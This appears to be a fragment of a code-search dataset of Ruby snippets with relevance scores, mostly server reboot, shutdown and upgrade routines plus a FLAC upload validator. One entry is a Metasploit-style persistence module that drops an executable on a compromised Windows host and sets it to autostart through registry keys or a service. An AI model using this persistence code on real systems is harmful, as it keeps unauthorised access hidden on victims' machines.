permissions...\"\r\n exec \"#{DISKUTIL_PATH} repairPermissions /\"\r\nend", "title": "" }, { "docid": "00c7024a9e85f22d5d0d2e8d07c0581b", "score": "0.55538255", "text": "def run\n print_status(\"Running module against #{sysinfo['Computer']}\")\n\n # Set vars\n rexe = datastore['REXEPATH']\n rexename = datastore['REXENAME']\n host, _port = session.tunnel_peer.split(':')\n @clean_up_rc = \"\"\n\n raw = create_payload_from_file rexe\n\n # Write script to %TEMP% on target\n script_on_target = write_exe_to_target(raw, rexename)\n\n # Initial execution of script\n target_exec(script_on_target) if datastore['RUN_NOW']\n\n case datastore['STARTUP']\n when /USER/i\n write_to_reg(\"HKCU\", script_on_target)\n when /SYSTEM/i\n write_to_reg(\"HKLM\", script_on_target)\n when /SERVICE/i\n install_as_service(script_on_target)\n end\n\n clean_rc = log_file\n file_local_write(clean_rc, @clean_up_rc)\n print_status(\"Cleanup Meterpreter RC File: #{clean_rc}\")\n\n report_note(host: host,\n type: \"host.persistance.cleanup\",\n data: {\n local_id: session.sid,\n stype: session.type,\n desc: session.info,\n platform: session.platform,\n via_payload: session.via_payload,\n via_exploit: session.via_exploit,\n created_at: Time.now.utc,\n commands: @clean_up_rc\n })\n end", "title": "" }, { "docid": "535a5c9f281a00f591c8d0fb1917daed", "score": "0.5550107", "text": "def reboot_server(id)\n response = connection.post(\"/v2/operations/#{account}/servers/reboot\", [id])\n body = response.body.first\n async_response(body)\n end", "title": "" }, { "docid": "a79a8de263b319e2092cf071e16d5eb1", "score": "0.55415756", "text": "def shutdown\n run \"#{try_sudo} /sbin/service puppet stop\"\n end", "title": "" }, { "docid": "da517007083f23da0ac7873584b9fddf", "score": "0.55368495", "text": "def graceful_shutdown(chef_env, vm_entry)\n puts 'Running graceful shutdown of ' + vm_entry[:hostname]\n kill_chef_client(chef_env, vm_entry)\n stop_all_services(chef_env, vm_entry)\n unmount_disks(chef_env, vm_entry)\n shutdown_box(chef_env, vm_entry)\nend", "title": "" }, { "docid": "b19095949da93014c9ba7cc8ed1df000", "score": "0.5534494", "text": "def reboot_router(rule_name, info)\n\n # Get to the advanced page.\n self.goto_advanced(rule_name, info)\n \n # Get to the \"Reboot Router\" page.\n begin\n @ff.link(:text, 'Reboot Router').click\n self.msg(rule_name, :info, 'Reboot Router', 'Reached page \\'Reboot Router\\'.')\n rescue\n self.msg(rule_name, :error, 'Reboot Router', 'Did not reach \\'Reboot Router\\' page')\n return\n end\n \n # Check for the keys\n if ( info.has_key?('section') &&\n info.has_key?('subsection') &&\n info.has_key?('Reboot Router') ) then\n # Right,go on.\n else\n self.msg(rule_name,:error,'reboot_router','Some key NOT found.')\n return\n end \n \n # Parse the \"json\" file.\n case info['Reboot Router']\n \n when 'on'\n \n # Click the \"OK\" button.\n @ff.link(:href,'javascript:mimic_button(\\'onclick=').click\n \n # Confirm it\n if @ff.text.include?'Please wait, system is now rebooting...'\n self.msg(rule_name,:info,'Executing reboot','Rebooting')\n end\n\t\n return \n # wait for rebooting...\n \n # give it some time to reboot\n \n \n count = 0\n while count <= 10\n \n # Rebooting...\n if @ff.text.include?'User Name'\n self.msg(rule_name,:info,'Reboot Router','SUCCESS')\n break\n end\n \n count += 1\n sleep 5\n \n end\n \n @ff.refresh\n \n if @ff.text.include?'User Name'\n self.msg(rule_name,:info,'Reboot Router','SUCCESS')\n return\n end\n \n if count == 11 \n self.msg(rule_name, :error, 'Reboot Router', 'Did not reboot.')\n return \n end \n \n when 'off'\n #\n self.msg(rule_name,:info,'Executing reboot','NOT DONE')\n else\n # Wrong here!\n self.msg(rule_name,:error,'reboot_router','No such value in \\'Reboot Router\\'.')\n return\n \n end\n \n end", "title": "" }, { "docid": "22d3fd53a33a52628218f37ab92c62d0", "score": "0.5534233", "text": "def execute\n return unless active\n # TODO: Add after and finally hooks. Search for them here and action if found\n # TODO if found don't break out until they have finished. Timeout??\n update_option_group_run_phase_state('SHUTDOWN')\n\n # First take care of any after hooks\n activate_hooks('AFTER')\n return unless hooks_completed('AFTER')\n\n # Then take care of any finally hooks\n activate_hooks'FINALLY'\n return unless hooks_completed('FINALLY')\n\n # Then stop\n update_state('READY_TO_RUN', SKIP)\n update_state('BREAKOUT', ACT)\n end", "title": "" }, { "docid": "678f83701d59c5ed160a80ea384e0ee6", "score": "0.55313003", "text": "def forcereload\n run \"#{try_sudo} /sbin/service puppet force-reload\"\n end", "title": "" }, { "docid": "edfce7a8926b6ad811370d76779b9840", "score": "0.5529225", "text": "def initiate_nodes_upgrade\n upgrade_nodes = Node.all.reject do |node|\n node.admin? || node[:platform] == \"windows\" || node.state != \"crowbar_upgrade\"\n end\n check_if_nodes_are_available upgrade_nodes\n admin_node = Node.admin_node\n upgrade_nodes_failed = []\n\n upgrade_nodes.each do |node|\n node[\"target_platform\"] = admin_node[\"provisioner\"][\"default_os\"]\n node.save\n node.set_state(\"os-upgrading\")\n end\n\n # wait for the pxe_config to be updated, then reboot the nodes\n discovery_dir = \"#{Node.admin_node[:provisioner][:root]}/discovery/\"\n pxecfg_subdir = \"bios/pxelinux.cfg\"\n\n upgrade_nodes.each do |node|\n boot_ip_hex = node[\"crowbar\"][\"boot_ip_hex\"]\n node_arch = node[\"kernel\"][\"machine\"]\n pxe_conf = \"#{discovery_dir}/#{node_arch}/#{pxecfg_subdir}/#{boot_ip_hex}\"\n ready_for_reboot = false\n\n while Time.now.to_i < Time.now.to_i + 120 && !ready_for_reboot\n Rails.logger.debug(\"waiting for pxe configuration to be updated for #{node.name}\")\n if File.file?(pxe_conf)\n File.open(pxe_conf).each_line do |line|\n line.chomp!\n if line =~ /^DEFAULT\\s+.+_install$/\n ready_for_reboot = true\n end\n end.close\n end\n sleep(5) unless ready_for_reboot\n end\n if ready_for_reboot\n Rails.logger.debug(\"Rebooting node #{node.name} for operating system upgrade\")\n ssh_status = node.ssh_cmd(\"/sbin/reboot\")\n if ssh_status[0] != 200\n Rails.logger.error(\"Upgrade failed for machine #{node.name}. Could not ssh.\")\n upgrade_nodes_failed.push(node.name)\n end\n else\n Rails.logger.error(\"Upgrade failed for #{node.name}. Node not ready for reboot\")\n upgrade_nodes_failed.push(node.name)\n end\n end\n # If list is empty, this method was successful.\n upgrade_nodes_failed\n end", "title": "" }, { "docid": "003dd82155b788b1df7d0acdceebae87", "score": "0.5519874", "text": "def reset(deploy_id)\n vm = get_remote_vm(deploy_id)\n rc = vm.reboot(true)\n\n return unless OpenNebula.is_error?(rc)\n\n STDERR.puts(rc.to_str)\n exit(-1)\n end", "title": "" }, { "docid": "08866a22f711d3b794b47794280ede77", "score": "0.5515736", "text": "def handle_reboot_request(obj, message)\n if obj.first == :guest\n guest_id = nil\n obj.each do |param|\n if param.is_a?(Array) && param.first == :id\n guest_id = param.second\n end\n end\n\n if XenNode.is_guest_running?(guest_id)\n if XenNode.reboot_guest(guest_id)\n msg = Cirrocumulus::Message.new(nil, 'inform', [message.content, [:finished]])\n msg.ontology = self.name\n msg.receiver = message.sender\n msg.in_reply_to = message.reply_with\n self.agent.send_message(msg)\n else\n msg = Cirrocumulus::Message.new(nil, 'failure', [message.content, [:unknown_reason]])\n msg.ontology = self.name\n msg.receiver = message.sender\n msg.in_reply_to = message.reply_with\n self.agent.send_message(msg)\n end\n else\n msg = Cirrocumulus::Message.new(nil, 'refuse', [message.content, [:guest_not_found]])\n msg.ontology = self.name\n msg.receiver = message.sender\n msg.in_reply_to = message.reply_with\n self.agent.send_message(msg)\n end\n end\n end", "title": "" }, { "docid": "0355bfe2436248351639035342006e75", "score": "0.55156004", "text": "def reboot_pvm_instance(instance_id)\n post(\n \"cloud-instances/#{guid}/pvm-instances/#{instance_id}/action\",\n {\"action\" => \"reboot\"}.to_json\n )\n end", "title": "" }, { "docid": "4dde6cac4a27e8fb0725e1235f8e0dc4", "score": "0.5508451", "text": "def drb_restart!\n Vedeu.bind(:_drb_restart_) { Vedeu::Distributed::Server.restart }\n end", "title": "" } ]
80c7b003f0468a7305b8e602638fc3c6
definizione del metodo della stanza d'oro
[ { "docid": "d6d296b9d7710dce06403febec1a0b92", "score": "0.0", "text": "def stanza_oro()\n puts \"Questa stanza è piena d'oro. Quanto ne vuoi prendere?\"\n prompt; prossima_mossa = gets.chomp\n if prossima_mossa.include? \"0\" or prossima_mossa.include? \"1\"\n quantità = prossima_mossa.to_i()\n else\n morto(\"Ehy, impara a digitare i numeri.\") \n end\n if quantità < 50\n puts \"Bravo, non sei avido, hai vinto!\"\n #istruzione per far finire il gioco\n Process.exit(0)\n else\n morto(\"Sei un avido bastardo!\")\n end\nend", "title": "" } ]
[ { "docid": "b82f4e86c21836ebaeea736905710446", "score": "0.642833", "text": "def meta(viagem)\r\n viagem.trecho.meta\r\nend", "title": "" }, { "docid": "e3809b603ef23cd1adcd99fc70d2e64c", "score": "0.628576", "text": "def metodoProtegido1()\n puts super().reverse + ':Acabo de sobreescribir el metodo de la case padre'\n end", "title": "" }, { "docid": "04fc799fedf7fbde92c98d79b83089f0", "score": "0.62768334", "text": "def sulfuras(item); end", "title": "" }, { "docid": "6b1fe5287ffb6ec6ceb4f5ce0e44489a", "score": "0.6232949", "text": "def nombre_completo\n super # invocando metodo como este no recibe parametros basta con la palabra reservada super\n end", "title": "" }, { "docid": "67b80a0de5283edcaa55950f9a1f9d08", "score": "0.61920637", "text": "def metodo1\n \"metodo definido en la clase\"\n end", "title": "" }, { "docid": "67b80a0de5283edcaa55950f9a1f9d08", "score": "0.61920637", "text": "def metodo1\n \"metodo definido en la clase\"\n end", "title": "" }, { "docid": "cf19c19bac43c0e29c6859b22bac00e8", "score": "0.61848587", "text": "def nome_do_tipo\n end", "title": "" }, { "docid": "3b44e74011cfcd34dc256b97e904f715", "score": "0.6140542", "text": "def hacer_ruido\n\t\treturn super << \"miauuuu!\"\n\t\t\n\tend", "title": "" }, { "docid": "1d3dd80ebcf872acd4692f5be761501e", "score": "0.6073483", "text": "def ligar #criando um metodo para a classe\n puts 'O carro está pronto para iniciar seu trajeto'\n end", "title": "" }, { "docid": "5faee7270c063f20df97d470cb4002df", "score": "0.6035389", "text": "def metodoProtegido1()\n \"Este es un metodo de la clase padre\"\n end", "title": "" }, { "docid": "fa686cdf1942762f7041d1fb7b0aacb0", "score": "0.59810513", "text": "def comofunciona\n\t\t\n\tend", "title": "" }, { "docid": "da32862891e2ebc3c8d71f65524bb4c1", "score": "0.5969641", "text": "def prosa\n end", "title": "" }, { "docid": "da32862891e2ebc3c8d71f65524bb4c1", "score": "0.5969641", "text": "def prosa\n end", "title": "" }, { "docid": "40769f9969d33ad71cb2389a7e574114", "score": "0.59367114", "text": "def institucional\n\t\t\n\tend", "title": "" }, { "docid": "ac6897a2939ef77c2e788280bd530d7f", "score": "0.5929335", "text": "def aniversario\n\tend", "title": "" }, { "docid": "52ff1971a3d15dcbf952f4206e115956", "score": "0.5887849", "text": "def hacer_ruido\n\t\treturn super\n\tend", "title": "" }, { "docid": "86c4786a5f8f80934ca5ecc9bf0c582b", "score": "0.5851795", "text": "def sexo\n raise NotImplementedError, \"Filho, faz favor, use uma subclasse\"\n end", "title": "" }, { "docid": "5987163a0d20916007f84cb8a21ef4c3", "score": "0.57964724", "text": "def casos_de_prueba_ejercicio_uno\n un_hombre = Hombre.new\n un_hombre.caminar\n otro_hombre = Hombre.new\n otro_hombre.hablar\n un_sapo= Sapo.new\n un_sapo.saltar\n un_aguila= Aguila.new\n un_aguila.volar\n un_perro= Perro.new\n un_perro.volar\nend", "title": "" }, { "docid": "e205bf1394ead15b546bd33aef8206cd", "score": "0.57469", "text": "def nature\n end", "title": "" }, { "docid": "061a39ede6dfe56bc21b5ffe0ec3cba6", "score": "0.574625", "text": "def extras; end", "title": "" }, { "docid": "1c52415b54401108301496c38b6fb3cd", "score": "0.5737032", "text": "def pedido\n\t\n\tend", "title": "" }, { "docid": "8a87e45368b62dc648cab662671ab93f", "score": "0.57146525", "text": "def metodoPublico ()\n \"#{@@variableDeClase}:Soy un #{@reino}\" \n end", "title": "" }, { "docid": "d8c03d01022f7e67a32e9971ae799f6c", "score": "0.57062274", "text": "def subtype; end", "title": "" }, { "docid": "d8c03d01022f7e67a32e9971ae799f6c", "score": "0.57062274", "text": "def subtype; end", "title": "" }, { "docid": "d8c03d01022f7e67a32e9971ae799f6c", "score": "0.57062274", "text": "def subtype; end", "title": "" }, { "docid": "d8c03d01022f7e67a32e9971ae799f6c", "score": "0.57062274", "text": "def subtype; end", "title": "" }, { "docid": "d8c03d01022f7e67a32e9971ae799f6c", "score": "0.57062274", "text": "def subtype; end", "title": "" }, { "docid": "d8c03d01022f7e67a32e9971ae799f6c", "score": "0.57062274", "text": "def subtype; end", "title": "" }, { "docid": "d8c03d01022f7e67a32e9971ae799f6c", "score": "0.57062274", "text": "def subtype; end", "title": "" }, { "docid": "d8c03d01022f7e67a32e9971ae799f6c", "score": "0.57062274", "text": "def subtype; end", "title": "" }, { "docid": "4fe655da88e61d28e8b9a9ed964af838", "score": "0.5704133", "text": "def imprensa\n\t\t\n\tend", "title": "" }, { "docid": "04e074efc99de627ea58633a58870ec3", "score": "0.5691294", "text": "def stpreason\n end", "title": "" }, { "docid": "170836770dbf8449a1c9cf9a3e735453", "score": "0.5657568", "text": "def Diaria\n @diaria = TDiaria \n end", "title": "" }, { "docid": "9c57fee9906d3f9f7b49612a379a2445", "score": "0.56445795", "text": "def initialize(*args)\n super\n self.estado = :sin_generar.to_s\n end", "title": "" }, { "docid": "cf83d19464967b7009b89f3402113d9a", "score": "0.56432533", "text": "def initialize(numero, titular, saldo)\n # e terá os seguintes atributos (alguns dinâmicos, outros pré-definidos)\n @numero = numero\n @titular = titular\n @saldo = saldo\n # @tipo = \"corrente\" #digo q toda conta é corrente\n end", "title": "" }, { "docid": "2309707e2aef111ef9d155cbcac838fd", "score": "0.56382537", "text": "def cargar_insumo;\n\t\t\n\tend", "title": "" }, { "docid": "871ec6288b069a405aae843577098ab9", "score": "0.563772", "text": "def oportunidade\n\tend", "title": "" }, { "docid": "8d0e128ad87cd20a86507c09c46a6f67", "score": "0.56219107", "text": "def termitidae()\n end", "title": "" }, { "docid": "980b29da4c58a7ca3ce6c6e2467b39ce", "score": "0.5613174", "text": "def primero\n puts \"primero\"\n end\n\n def segundo\n puts \"segundo\"\n end\n\n def tercero\n puts \"tercero\"\n end\n\n def cuarto\n puts \"cuarto\"\n end\n\n # visivilidad de los metodos anteriores\n public :primero\n protected :segundo\n private :tercero, :cuarto\n \nend", "title": "" }, { "docid": "d54053d7eb54f2c40ac976fafdb17a25", "score": "0.5607998", "text": "def metodo\n #corpo do metodo\n puts 'corpo do método'\n end", "title": "" }, { "docid": "f2dff582acd165fc3536a57fdfa7bf7a", "score": "0.55950767", "text": "def initialize usuario_que_convidou, usuario_convidado\n #require 'set'\n super\n\n\n @usuario_que_convidou = usuario_que_convidou\n @usuario_convidado = usuario_convidado\n @status = :CRIADO\n\n end", "title": "" }, { "docid": "a9dd648a5d0d2e7d56223e7c753f5e2e", "score": "0.5592856", "text": "def telegraphical()\n end", "title": "" }, { "docid": "9cdbd5c1bb8a0f3d5d53a72474dd9b96", "score": "0.55881125", "text": "def initialize\n super #Chama o initialize do pai\n self.nome = \"Nome Filho\"\n self.idade = 10\n end", "title": "" }, { "docid": "ede2eca816636aa29778d92ee2458a81", "score": "0.55793136", "text": "def vincitore_mano(carte_giocate)\r\n \r\n end", "title": "" }, { "docid": "c512d3086c54cb450c944eacc9c75f27", "score": "0.5559115", "text": "def busca_conta\n\n end", "title": "" }, { "docid": "b18a13a2996bea3381fdcf7592419adb", "score": "0.5549183", "text": "def insertarInicio(nodo)\n\t\tif(vacia)\n\t\t\tself.cabeza = nodo \n\t\telse\n\t\t\taux = cabeza\n\t\t\tself.cabeza = nodo \n\t\t\tself.cabeza.nodoSiguiente = aux\n\t\tend\t\n\tend", "title": "" }, { "docid": "a29c5ce532d6df480df4217790bc5fc7", "score": "0.55411226", "text": "def extra; end", "title": "" }, { "docid": "a29c5ce532d6df480df4217790bc5fc7", "score": "0.55411226", "text": "def extra; end", "title": "" }, { "docid": "a29c5ce532d6df480df4217790bc5fc7", "score": "0.55411226", "text": "def extra; end", "title": "" }, { "docid": "a29c5ce532d6df480df4217790bc5fc7", "score": "0.55411226", "text": "def extra; end", "title": "" }, { "docid": "ca46c12d90b88c8a101b179c5ed44708", "score": "0.5534006", "text": "def snapto\n end", "title": "" }, { "docid": "93b38451480bfe942c5650a67cb2ab64", "score": "0.5531887", "text": "def option (opcion)\n\t\t@tipo = opcion\n\tend", "title": "" }, { "docid": "4a77a8a05e913388e7cee44a3328e071", "score": "0.550559", "text": "def cliente_nomefantasia\n\tcliente.nomefantasia if cliente\n end", "title": "" }, { "docid": "0d19f0e7de1276d55fdcd148abd843dc", "score": "0.5491569", "text": "def sub_type; end", "title": "" }, { "docid": "0d19f0e7de1276d55fdcd148abd843dc", "score": "0.5491569", "text": "def sub_type; end", "title": "" }, { "docid": "0d19f0e7de1276d55fdcd148abd843dc", "score": "0.5491569", "text": "def sub_type; end", "title": "" }, { "docid": "ba4b7cd98fb9250abc7b4161fee62cdb", "score": "0.54892397", "text": "def transferir(conta_carne, valor)\n super # Chamando a classe base ContBanca\n #taxa_de_saque = 2# Criando uma variavel\n debitar(TAXA) \n # 2 eh o Valor a ser descontado\n # Usado o metodo da super determina que a classe base se relacione conta bancaria\n \n end", "title": "" }, { "docid": "b635b728c603e44787f5d7369f5f8274", "score": "0.5485614", "text": "def initialize(autores, titulo, publicacion, edicion) #el constructor solo contiene los elementos comunes a ambas clases hijas\n @autores = autores\n @titulo = titulo\n @publicacion = publicacion\n @edicion = edicion\n end", "title": "" }, { "docid": "0939406b2108b4dcfeb32a0ce912e9dd", "score": "0.54763794", "text": "def\thustle \t \t\r\n\t\tend", "title": "" }, { "docid": "e3a854cb27aeb3b1bb54637980abe80c", "score": "0.5475659", "text": "def set_categorium\n \n end", "title": "" }, { "docid": "1d3f89244d8879e46d0688468f064d0f", "score": "0.545955", "text": "def alta_vista\n \n end", "title": "" }, { "docid": "9c6f4cbcad027e2f6e9f14886429aa12", "score": "0.54571396", "text": "def parametros\n end", "title": "" }, { "docid": "a00e7bc07883ef699b304d039715024d", "score": "0.545597", "text": "def initialize\n self.moneda_cotizacion = 1\n self.moneda = :pesos\n self.receptor_doc_nro = 99999999999\n self.receptor_doc_tipo = 99\n end", "title": "" }, { "docid": "2fe1fe8a5710b5a9e8e3f95cd90aae69", "score": "0.5438829", "text": "def nombre_completo # inicio del metodo\n # concatenacion de atributos (concateno todo junto aproposito)\n primer_nombre.to_s << segundo_nombre.to_s << primer_apellido.to_s << segundo_apellido.to_s\n end", "title": "" }, { "docid": "2e5d1b8db4ee238f946fffb93247c36c", "score": "0.54205257", "text": "def get_info\n\t\t# definisco una nuova var d'istanza\n\t\t@info_aggiuntive = \"Interessante\"\n\t\t# valore di ritorno\n\t\t\"Nome: #{@nome}, eta: #{@eta}\"\n\tend", "title": "" }, { "docid": "a7e47d3ffa464c88d8fe4c70b57b48da", "score": "0.5417003", "text": "def set_articulo\n\n end", "title": "" }, { "docid": "a7e47d3ffa464c88d8fe4c70b57b48da", "score": "0.5417003", "text": "def set_articulo\n\n end", "title": "" }, { "docid": "6ccc35390d25bb02b39a7b70863421f5", "score": "0.5413682", "text": "def option (opcion)\n\t\t\t@tipo = opcion\n\t\tend", "title": "" }, { "docid": "1d3eaa95eef7d1e0f3a113cc8d1115d1", "score": "0.5407453", "text": "def nombre #getter y Setter\n @nombre\n end", "title": "" }, { "docid": "233c854858a64d068c9e6211d0a1307d", "score": "0.53994554", "text": "def informacoes_da_conta\n\t\t\t\t\traise NotImplementedError.new('Sobreescreva este método na classe referente ao banco que você esta criando')\n\t\t\t\tend", "title": "" }, { "docid": "065bf3cbdad8e482de8b92d4d027681c", "score": "0.53981525", "text": "def meta; end", "title": "" }, { "docid": "065bf3cbdad8e482de8b92d4d027681c", "score": "0.53981525", "text": "def meta; end", "title": "" }, { "docid": "065bf3cbdad8e482de8b92d4d027681c", "score": "0.53981525", "text": "def meta; end", "title": "" }, { "docid": "065bf3cbdad8e482de8b92d4d027681c", "score": "0.53981525", "text": "def meta; end", "title": "" }, { "docid": "065bf3cbdad8e482de8b92d4d027681c", "score": "0.53981525", "text": "def meta; end", "title": "" }, { "docid": "c4a493e510317af5729d14acf1b13d8a", "score": "0.53975993", "text": "def initialize(name,peso,talla,tricipital,bicipital,subescapular,suprailiaco,brazo,cintura,cadera,sexo,edad,actividad)\n\t\tsuper(name)\n\t\t@peso , @talla , @tricipital , @bicipital, @subescapular ,@suprailiaco , @brazo , @cintura ,@cadera, @sexo, @edad,@actividad = peso , talla , tricipital , bicipital, subescapular ,suprailiaco , brazo , cintura ,cadera, sexo, edad, actividad\n\tend", "title": "" }, { "docid": "b72b69068e4b60546c0f9cf0372d2f89", "score": "0.53968", "text": "def initialize ( saludo )\n @saludo = saludo # Único atributo de la clase\n end", "title": "" }, { "docid": "7477f36427db1eed71e3d1fe5ae5eb83", "score": "0.53956604", "text": "def manuver\n\tend", "title": "" }, { "docid": "edbdac9c196fd1a9e9d82eb96e0136fc", "score": "0.5393537", "text": "def initialize()\n\t\t@message = \"bienvenue dans le didacticiel #{@pseudo}\"\n\t\t#en attente du dossier final\n\t\t#nom = \"./grilles/didacticiel/sonnom\"\n\t\t#map = Gui.new(nom,0,0)\n\t\t@etape = 1\n\tend", "title": "" }, { "docid": "4aef1b17a80fe5cbbb36afb35f9cce90", "score": "0.5379285", "text": "def chercher_remplacement\n case self.type\n when :serie\n chercher_remplacement_serie\n when :suite\n chercher_remplacement_suite\n else\n nil\n end\n end", "title": "" }, { "docid": "e1052458e1b0cf0a48fe1e004c3d4557", "score": "0.5378541", "text": "def chokra_hearer(lorenzenite)\n end", "title": "" }, { "docid": "ded5f888b19638c517f9ea99e26c131a", "score": "0.53782356", "text": "def generos\n (self.genero == 1) ? \"Masculino\" : \"Femenino\"\n end", "title": "" }, { "docid": "4f570d761ac0079433fca6c818b275c6", "score": "0.53658473", "text": "def seguir(otro_usuaria)\n\t\tsiguiendo << otro_usuaria\n\tend", "title": "" }, { "docid": "ea755ab798ab68322182dff93265b966", "score": "0.5361894", "text": "def initialize(params)\n # El encapsulamiento permite proteger y delimitar los atributos de clase\n @nombre = params[:nombre] \n @especie = params[:especie]\n @edad = params[:edad] \n @reino = 'Animal' \n @@variableDeClase = 0\n end", "title": "" }, { "docid": "4a3d5b763acfed68653d1013a38d02d2", "score": "0.5361631", "text": "def meta=(_arg0); end", "title": "" }, { "docid": "bc5a68e6000ec33cf5abdf883df0c0eb", "score": "0.5351489", "text": "def initialize(propiedades) # Inicio el metodo\n @nombre = propiedades[:nombre]\n @raza = propiedades[:raza]\n @color = propiedades[:color]\n end", "title": "" }, { "docid": "26eb0721f029a46d16d3b0bc89931d8c", "score": "0.5351161", "text": "def initialize(autores, titulo, publicacion, edicion) #el constructor solo contiene los elementos comunes a ambas clases hijas\n @autores = Autores_format_apa (autores)\n \n @titulo = Titulo_format_apa (titulo)\n \n @publicacion = publicacion\n @edicion = edicion\n end", "title": "" }, { "docid": "b3f76de275f3cf5013f5ae778306b5c2", "score": "0.53487736", "text": "def toto\n titi\n tata\n tutu\n end", "title": "" }, { "docid": "b7cfdec5315b5d3c26b002081b1dbae3", "score": "0.5347874", "text": "def coming_soon; end", "title": "" }, { "docid": "0d297c1861a4de1995725b40bd741cfc", "score": "0.5346994", "text": "def main_type; end", "title": "" }, { "docid": "0d297c1861a4de1995725b40bd741cfc", "score": "0.5346994", "text": "def main_type; end", "title": "" }, { "docid": "51ba671bc09476526e77d19d5c0b5f2e", "score": "0.5339251", "text": "def initialize(sexo, alimentos) #alimentos es una lista de objetos Alimento\n\t\t@alimentos = alimentos\n\t\tif sexo == \"hombre\"\n\t\t\tvalue = 54\n\t\telse\n\t\t\tvalue = 41\n\t\tend\n\t\t# [kgco2eq, m2anio]\n\t\t@impactoambiental = [0,0]\n\n\t\taliaux = Alimento.new(\"\", [0,0,0,0,0])\n\t\t@cantidad = []\n\t\tcuenta = 0\n\t\tnodo = alimentos.head\n\t\twhile nodo != nil\n\t\t\talimento = nodo.value\n\t\t\taliaux = aliaux + alimento\n\t\t\ta = @impactoambiental[0] + alimento.kgco2eq\n\t\t\tb = @impactoambiental[1] + alimento.m2anio\n\t\t\t@impactoambiental = [ a , b ]\n\t\t\tcuenta = cuenta + alimento.proteinas\n\t\t\tnodo = nodo.next\n\t\t\tcantidad << 1\n\t\tend\n\t\tif (cuenta < value) #si necesitamos repetir un alimento para llegar al minimo de proteinas\n\t\t\ti = 2\n\t\t\twhile cuenta < value\n\t\t\t\tj = 0\n\t\t\t\tnodo = alimentos.head\n\t\t\t\twhile (nodo != nil) && (cuenta < value)\n\t\t\t\t\talimento = nodo.value\n\t\t\t\t\ta = @impactoambiental[0] + alimento.kgco2eq\n\t\t\t\t\tb = @impactoambiental[1] + alimento.m2anio\n\t\t\t\t\taliaux = aliaux + alimento\n\t\t\t\t\t@impactoambiental = [ a , b ]\n\t\t\t\t\tcuenta = cuenta + alimento.proteinas\n\t\t\t\t\tnodo = nodo.next\n\t\t\t\t\tcantidad[j] = i\n\t\t\t\t\tj = j + 1\n\t\t\t\tend\n\t\t\t\ti = i + 1\n\t\t\tend #hago que pille solo 1 unidad de cada uno falta hacer el + de alimento\n\t\t\t#desde la dieta se deberia poder sacar cualquier cosa de cada alimento\n\t\tend\n\t\t@proteinas = aliaux.proteinas.round(4)\n\t\t@carbohidratos = aliaux.carbohidratos.round(4)\n\t\t@lipidos = aliaux.lipidos.round(4)\n\t\t@impactoambiental = [ @impactoambiental[0].round(4), @impactoambiental[1].round(4) ]\n \tend", "title": "" }, { "docid": "ec7f99bd984d5a58fa138af584dee885", "score": "0.5331915", "text": "def iniitialize\n \n end", "title": "" }, { "docid": "8ab7b1caf2cb4e077357cd569b34f71c", "score": "0.5315336", "text": "def init\n\t\t\t\t\t\t\t\tend", "title": "" }, { "docid": "a80840adeb3feae4c65a5fa6ffb79445", "score": "0.53121656", "text": "def po; end", "title": "" }, { "docid": "25bb191bb30fba37600797bd4843b0a5", "score": "0.53104717", "text": "def family; end", "title": "" }, { "docid": "25bb191bb30fba37600797bd4843b0a5", "score": "0.53104717", "text": "def family; end", "title": "" }, { "docid": "0bcf1b0d818bb0545becf70d016c1a13", "score": "0.5309976", "text": "def setTitre(str=nil)\n\t\tsuper(\"#{@@joueur.login} - Choix du mode de jeu\")\n\tend", "title": "" }, { "docid": "163e3e3461e8b9e0ed2a18d6b42d9219", "score": "0.530966", "text": "def clypeastroidea_origanum(bigwiggism_beloeilite, pac_roarer)\n end", "title": "" }, { "docid": "6db6b6f31158fa12f161530a2d652a21", "score": "0.5309501", "text": "def get_tipo \r\n # tem um @pedido\r\n if (@pedido.equipamento_id == nil)\r\n @tipo = \"servico\"\r\n else\r\n @tipo = \"equipamento\"\r\n end\r\n end", "title": "" }, { "docid": "1d1410fb5f5764bf523522007a80f6bb", "score": "0.5309135", "text": "def metodo #se escribe el nuevo comportamiento\n\t\tputs \"hago otra cosa antes\"\n\t\tviejo_metodo #se llama al metodo anterior que se llamaba metodo\n\t\tputs \"hago otra cosa despues\"\n\tend", "title": "" } ]
b56369940c0717f45f3daa740e5265f6
Rules about uploads: FLAC maximum 24bit, 192 kHz, minimum 16bit, 44.1 kHz Inconsistent bit rate must include release description with note about which tracks have which bit rate Lossy formats allowed: MP3, AAC, AC3, DTS Lossless formats allowed: FLAC Bit depth in bits. Not expected to be present on lossy formats, as they do not have a fixed bit depth.
[ { "docid": "bee489ad217c8fe61eef3b90a376c606", "score": "0.5005216", "text": "def bit_depth\n mediainfo.audio.bitdepth\n end", "title": "" } ]
[ { "docid": "d8e8d8c6683226d9d76461274af18af3", "score": "0.6270322", "text": "def rescaling_required?\n flac_info.streaminfo[\"bits_per_sample\"] != 16\n end", "title": "" }, { "docid": "bfaf7d88d46516869017d3326c968d51", "score": "0.59151626", "text": "def validate_header_file_audio\n self.validate_header_file(10, ['mp3', 'ogg', 'wav'], 'errors.messages.audio_too_large')\n end", "title": "" }, { "docid": "19dc4d0b55e2c5b8bdff35b8835b8c8d", "score": "0.5889128", "text": "def check_for_errors\n @errors += Tags.tag_errors(path)\n\n # Check for invalid filenames\n if (whitespace_led_component = Pathname(path).each_filename.to_a.find { |p| p.start_with?(/\\s+/) })\n @errors << \"path contains a file or directory name with leading whitespace: #{whitespace_led_component}\"\n end\n\n if (forbidden_substrings = FORBIDDEN_SUBSTRINGS.select { |fss| path.to_s.include?(fss) }).any?\n @errors << \"path contains invalid character(s): #{forbidden_substrings.join(\" \")}\"\n end\n\n if format == \"FLAC\"\n _stdout, stderr, status = Open3.capture3(\"flac -wt \\\"#{path}\\\"\")\n\n unless status.success?\n error_line = stderr.split(\"\\n\")\n .find { |line| line.include?(File.basename(path)) }\n\n @errors << if error_line\n \"failed flac verification test: #{error_line}\"\n else\n \"failed flac verification test\"\n end\n end\n end\n\n if (bit_depth && ![16, 24].include?(bit_depth))\n @errors << \"#{bit_depth} is an invalid bit depth\"\n elsif !bit_depth && format == \"FLAC\"\n @errors << \"unable to determine bit depth\"\n end\n\n if sample_rate.nil?\n @errors << \"unable to determine sample rate\"\n else\n case bit_depth\n when 16\n unless [44_100, 48_000].include?(sample_rate)\n sample_rate_khz = sample_rate.to_f / 100\n @errors << \"#{sample_rate_khz} kHz is not a valid sample rate for a 16-bit lossless file\"\n end\n when 24\n unless [44_100, 88_200, 176_400, 352_800, 48_000, 96_000, 192_000, 384_000].include?(sample_rate)\n sample_rate_khz = sample_rate.to_f / 100\n @errors << \"#{sample_rate_khz} kHz is not a valid sample rate for a 24-bit 